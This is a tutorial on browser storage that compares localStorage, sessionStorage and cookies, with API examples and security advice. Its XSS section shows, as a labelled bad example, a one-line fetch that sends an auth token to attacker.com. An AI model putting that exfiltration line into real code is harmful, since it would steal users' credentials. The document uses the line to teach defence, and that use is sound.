Quick Overview

All three are client-side storage mechanisms — data stored in the user's browser. They differ in lifetime, capacity, scope, and server accessibility.

localStorage
LifetimePermanent
Capacity~5–10 MB
Tab scopeAll tabs
Sent to serverNo
sessionStorage
LifetimeTab session
Capacity~5–10 MB
Tab scopeCurrent tab
Sent to serverNo
Cookies
LifetimeConfigurable
Capacity~4 KB
Tab scopeAll tabs
Sent to serverYes (every request)

localStorage

localStorage stores data with no expiration date. The data persists even after the browser is closed and reopened. It is scoped to the origin (protocol + domain + port) and shared across all tabs and windows of that origin.

Basic API

// Store data
localStorage.setItem('theme', 'dark');
localStorage.setItem('username', 'jaydeep');

// Store objects (must stringify)
const prefs = { fontSize: 16, language: 'en' };
localStorage.setItem('prefs', JSON.stringify(prefs));

// Retrieve data
const theme = localStorage.getItem('theme'); // 'dark'
const prefs2 = JSON.parse(localStorage.getItem('prefs'));

// Remove a key
localStorage.removeItem('username');

// Clear everything
localStorage.clear();

// Check number of items
console.log(localStorage.length);

Only strings! localStorage stores everything as strings. Always use JSON.stringify() for objects/arrays and JSON.parse() when retrieving.

Good use cases

sessionStorage

sessionStorage has the same API as localStorage, but data is cleared when the browser tab (or window) is closed. Each tab gets its own storage — data is not shared between tabs.

// Same API as localStorage
sessionStorage.setItem('currentStep', '2');
sessionStorage.setItem('formData', JSON.stringify({ name: 'Jaydeep' }));

const step = sessionStorage.getItem('currentStep'); // '2'
sessionStorage.removeItem('currentStep');
sessionStorage.clear();

Tab isolation: If a user opens your site in two tabs, each tab gets its own sessionStorage. Changes in one tab are not visible in the other — unlike localStorage.

Good use cases

Cookies

Cookies are the oldest browser storage mechanism. Unlike Web Storage, cookies are automatically sent with every HTTP request to the server — making them the only option when the server needs to read the stored value.

Reading and Writing Cookies

// Set a cookie (expires in 7 days)
function setCookie(name, value, days) {
  const expires = new Date(Date.now() + days * 864e5).toUTCString();
  document.cookie = `${name}=${encodeURIComponent(value)};expires=${expires};path=/;SameSite=Lax`;
}

// Get a cookie by name
function getCookie(name) {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith(name + '='))
    ?.split('=')[1];
}

// Delete a cookie
function deleteCookie(name) {
  document.cookie = `${name}=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/`;
}

setCookie('sessionId', 'abc123', 7);
console.log(getCookie('sessionId')); // 'abc123'

Cookie attributes

AttributePurposeExample
expires / max-ageWhen the cookie expires (session cookie if omitted)expires=Fri, 01 Jan 2027 00:00:00 GMT
pathURL path the cookie is valid forpath=/ (all pages)
domainWhich domain can read the cookiedomain=example.com
SecureOnly sent over HTTPSSecure
HttpOnlyNot accessible via JavaScript (server-set only)HttpOnly
SameSiteControls cross-site sending (CSRF protection)SameSite=Strict

Side-by-Side Comparison

FeaturelocalStoragesessionStorageCookies
Capacity~5–10 MB~5–10 MB~4 KB
LifetimeUntil clearedUntil tab closesSet by expiry
Accessible via JSYesYesYes (unless HttpOnly)
Sent to serverNoNoYes (every request)
Shared across tabsYesNoYes
Works with HTTPYesYesYes
Expiry controlNoNoYes
Encryption supportNoNoSecure flag

Security Considerations

Never store sensitive data (passwords, auth tokens, credit card numbers) in localStorage or sessionStorage. They are accessible by any JavaScript on the page — including XSS scripts.

XSS vulnerability

// BAD: attacker script can steal tokens
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal?t=' + token);

// BETTER: use HttpOnly cookies for auth tokens
// The server sets: Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict
// JavaScript cannot read HttpOnly cookies at all

CSRF with cookies

Because cookies are sent with every request, they are vulnerable to Cross-Site Request Forgery (CSRF). Mitigate this with SameSite=Strict or SameSite=Lax and CSRF tokens on forms.

When to Use Which?

Use localStorage for non-sensitive user preferences that should persist across sessions (theme, language, progress tracking).

Use sessionStorage for temporary form data, wizard steps, or any state that should vanish when the user closes the tab.

Use HttpOnly cookies for authentication tokens and session IDs — only the server can set and read them, making XSS impossible on those values.

Practical Examples

Dark mode preference (localStorage)

// Save preference
document.getElementById('themeToggle').addEventListener('change', (e) => {
  const theme = e.target.checked ? 'dark' : 'light';
  localStorage.setItem('theme', theme);
  applyTheme(theme);
});

// Apply on page load
const saved = localStorage.getItem('theme') || 'light';
applyTheme(saved);

function applyTheme(t) {
  document.documentElement.setAttribute('data-theme', t);
}

Multi-step form (sessionStorage)

// Step 1 — save when user moves to step 2
function goToStep2() {
  const data = {
    name: document.getElementById('name').value,
    email: document.getElementById('email').value
  };
  sessionStorage.setItem('step1', JSON.stringify(data));
  showStep(2);
}

// Step 2 — retrieve if user goes back
const saved = sessionStorage.getItem('step1');
if (saved) {
  const { name, email } = JSON.parse(saved);
  document.getElementById('name').value = name;
  document.getElementById('email').value = email;
}